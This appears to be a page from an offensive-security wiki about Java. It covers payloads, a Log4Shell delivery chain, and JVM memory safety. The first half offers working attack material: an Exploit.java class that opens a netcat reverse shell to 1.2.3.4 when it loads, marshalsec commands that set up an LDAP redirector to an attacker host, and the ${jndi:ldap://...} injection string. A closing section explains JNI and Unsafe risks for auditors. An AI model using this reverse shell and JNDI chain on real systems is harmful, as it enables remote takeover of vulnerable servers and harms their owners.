Java

Java is a general-purpose, garbage-collected language whose code compiles to bytecode that runs on the Java Virtual Machine (JVM). For offensive security it matters on two axes: as a payload language (reverse shells, deserialization gadgets, JNDI injection such as Log4Shell) and as an attack surface (exposed services like RMI, covered in java-rmi-exploitation).

Reverse shell

A minimal Java reverse shell executes from a static initializer, so it fires as soon as the class is loaded (e.g. via JNDI remote classloading). On targets with a netcat build that supports -e:

public class Exploit {
	static {
		try {
			java.lang.Runtime.getRuntime().exec("nc -e /bin/bash 1.2.3.4 9999");
		} catch (Exception e) {
			e.printStackTrace();
		}
	}
}

Runtime.getRuntime().exec() is the standard JDK API for spawning an OS process (Runtime.exec javadoc). Compile with a source/target level matching the victim’s JVM:

javac Exploit.java -source 8 -target 8

As with all things Java, the file name and the public class name must match.

Log4Shell delivery chain

Delivery through a vulnerable Log4j version is a four-step chain: malicious ${jndi:...} string → LDAP lookup → load Java bytecode over HTTP → reverse shell. Moritz Bechler’s marshalsec provides a JNDI reference redirector:

mvn clean package -DskipTests
java -cp target/marshalsec-*-all.jar \
     marshalsec.jndi.LDAPRefServer \
     "http://$ATTACKER_IP:$ATTACKER_PORT/#Exploit"

Serve the compiled Exploit.class from a plain HTTP server, run a listener, and land the string ${jndi:ldap://1.2.3.4:1389/Exploit} anywhere it gets logged. marshalsec supports protocols beyond LDAP (RMI, DNS, etc.).

Memory safety and buffer overflows

Classic buffer overflows — writing past the end of a fixed-size buffer, corrupting adjacent memory (OWASP: Buffer Overflow; CWE-120) — basically aren’t a thing in pure Java. The JVM enforces bounds checking on every array access (throwing ArrayIndexOutOfBoundsException instead of corrupting memory), manages object lifetimes with a garbage collector, and gives programs no raw pointer arithmetic. The bug class is designed out of the language.

That guarantee evaporates the moment execution leaves the JVM, through two doors:

  • JNI (Java Native Interface). Native libraries are loaded with System.loadLibrary() (javadoc) and native methods are declared with the native keyword (JNI specification). JNI code is ordinary C/C++: no bounds checks, full pointer arithmetic, and it shares the JVM process’s address space. A buffer overflow in a JNI library compromises the entire JVM — the memory-safety perimeter ends at the native boundary.
  • sun.misc.Unsafe / FFM API. Unsafe exposes raw memory operations (allocateMemory, putAddress, …) with no checking; misuse corrupts the heap exactly like a C bug. The newer Foreign Function & Memory API (JEP 454, finalized in JDK 22) is the supported successor and carries the same caveat.

When auditing a Java application for memory-corruption issues, System.loadLibrary(, System.load(, the native keyword, and sun.misc.Unsafe are the strings to grep for — pure bytecode below the JNI line can be treated as memory-safe.

For debugging native crashes and overflow analysis on the other side of that boundary, see gdb. Compare php, where the interpreter itself is C and historically passed user input straight into C string functions (poison-null-byte-attack).

Sources

Related: java-rmi-exploitation, php, gdb, netcat, poison-null-byte-attack